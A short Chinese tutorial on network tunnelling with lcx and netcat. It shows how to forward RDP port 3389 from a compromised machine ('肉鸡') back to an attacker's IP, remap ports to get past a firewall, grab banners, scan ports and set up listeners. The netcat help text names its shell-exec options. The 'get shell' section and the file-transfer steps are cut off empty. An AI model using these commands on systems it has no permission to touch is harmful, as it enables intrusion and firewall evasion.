网络层隧道之lcx和nc的使用

lcx用法：

lcx的Linux版本为portmap、

1.内网端口转发

本机: lcx -listen 2222 3333

2222为转发端口，3333为本机任意未被占用的端口

肉鸡：lcx -slave 119.75.217.56 2222 127.0.0.1 3389

119.75.217.56 为本机IP,2222为转发端口，127.0.0.1为肉鸡内网IP，3389为远程终端端口

3389连接时格式 127.0.0.1:3333

2. 本地端口映射

如果3389端口被防火墙禁用，那我们可以转发到其他端口。如53

lcx -tran 53 本机ip地址 3389

netcat用法：

简易使用

1. 命令查询
  
  root@calm:~# nc -h
  [v1.10-41.1+b1]
  connect to somewhere: nc [-options] hostname port[s] [ports] ...
  listen for inbound: nc -l -p port [-options] [hostname] [port]
  options:
  -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
  -e filename program to exec after connect [dangerous!!]
  -b allow broadcasts
  -g gateway source-routing hop point[s], up to 8
  -G num source-routing pointer: 4, 8, 12, ...
  -h this cruft
  -i secs delay interval for lines sent, ports scanned
  -k set keepalive option on socket
  -l listen mode, for inbound connects
  -n numeric-only IP addresses, no DNS
  -o file hex dump of traffic
  -p port local port number
  -r randomize local and remote ports
  -q secs quit after EOF on stdin and delay of secs
  -s addr local source address
  -T tos set Type Of Service
  -t answer TELNET negotiation
  -u UDP mode
  -v verbose [use twice to be more verbose]
  -w secs timeout for connects and final net reads
  -C Send CRLF as line-ending
  -z zero-I/O mode [used for scanning]
  port numbers can be individual or ranges: lo-hi [inclusive];
  hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
2. Banner抓取
  nc -nv 192.168.2.246 22
3. 远程连接主机
  
  nc -nvv ip port
4. 端口扫描
  
  root@calm:~# nc -v 192.168.2.183 80
  WIN-7-webserver.lan [192.168.2.183] 80 (http) open
  扫描指定端口段
  root@calm:~# nc -v -z 192.168.2.183 1-1000
5. 端口监听
  nc -l -p port
6. 文件传输
  在本地监听：
  
  在另一台输入：
7. 简易聊天
  本地vps输入：nc -l -p 999
  目标机器输入：nc -vn vps的ip 999
获取shell
1. 正向shell

网络层隧道之lcx和nc的使用

猜你喜欢